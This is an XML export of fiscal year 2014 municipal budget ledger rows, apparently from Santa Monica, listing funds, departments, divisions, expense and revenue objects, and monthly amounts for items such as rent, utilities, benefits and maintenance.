<row _id="12239"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="12240"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>238811.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>238811.0</total></row>
<row _id="12241"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>569360.0</object><object_description>INNOVATIONS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16400.0</total></row>
<row _id="12242"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1040.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1040.0</total></row>
<row _id="12243"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>31222.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31222.0</total></row>
<row _id="12244"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-CITY YARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>45000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45000.0</total></row>
<row _id="12245"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406797.0</object><object_description>11 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-117866.0</june><total>-117866.0</total></row>
<row _id="12246"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>555397.0</object><object_description>11 UASI GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>17244.0</june><total>17244.0</total></row>
<row _id="12247"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10350.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10350.0</total></row>
<row _id="12248"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>49200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49200.0</total></row>
<row _id="12249"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4800.0</total></row>
<row _id="12250"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1910.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1910.0</total></row>
<row _id="12251"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10278.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10278.0</total></row>
<row _id="12252"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10600.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10600.0</total></row>
<row _id="12253"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CONT SVCS-PSF</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>211261.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>211261.0</total></row>
<row _id="12254"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555920.0</object><object_description>SANTA MONICA SWIM CENTER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>123000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>123000.0</total></row>
<row _id="12255"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="12256"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555140.0</object><object_description>PEST CONTROL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="12257"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511840.0</object><object_description>PERS PAYDOWN SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-3140.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>3140</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12258"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15620.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15620.0</total></row>
<row _id="12259"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2679.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2679.0</total></row>
<row _id="12260"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-10731.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-10731.0</total></row>
<row _id="12261"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3040.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3040.0</total></row>
<row _id="12262"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3651.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3651.0</total></row>
<row _id="12263"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>413.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>413.0</total></row>
<row _id="12264"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1104.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>25.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1129.0</total></row>
<row _id="12265"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>345.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>345.0</total></row>
<row _id="12266"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1562.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1562.0</total></row>
<row _id="12267"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2475.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2475.0</total></row>
<row _id="12268"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>555015.0</object><object_description>OUTSIDE REPAIRS - BLDG MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>361123.0</july><august>0</august><september>0</september><october>0</october><november>-16319</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>344804.0</total></row>
<row _id="12269"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13530.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13530.0</total></row>
<row _id="12270"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>24000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24000.0</total></row>
<row _id="12271"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561506.0</object><object_description>HOMELESS PREVENTION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>39975.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>39975.0</total></row>
<row _id="12272"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>119166.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>1764</december><january>2628.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>123558.0</total></row>
<row _id="12273"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19500.0</total></row>
<row _id="12274"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4771.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4771.0</total></row>
<row _id="12275"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>185725.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>185725.0</total></row>
<row _id="12276"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>53393.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>53393.0</total></row>
<row _id="12277"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>566260.0</object><object_description>SPECIAL EVENTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>43000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43000.0</total></row>
<row _id="12278"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>39671.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>352.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>40023.0</total></row>
<row _id="12279"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1150.0</total></row>
<row _id="12280"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533211.0</object><object_description>FAC MAINT SVCS-WORK ORDERS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>45000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45000.0</total></row>
<row _id="12281"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>555011.0</object><object_description>CONT SERV/PLANT REPLACE/MIS SE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="12282"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>566190.0</object><object_description>EMPLOYEE EVENTS TEAM</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>31519.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>31519.0</total></row>
<row _id="12283"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>314.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>314.0</total></row>
<row _id="12284"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561116.0</object><object_description>OPCC INTERIM HSG&amp;WELLNS-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8350.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8350.0</total></row>
<row _id="12285"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE ENFORCEMENT</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-RES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-194419.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-194419.0</total></row>
<row _id="12286"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>323.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>323.0</total></row>
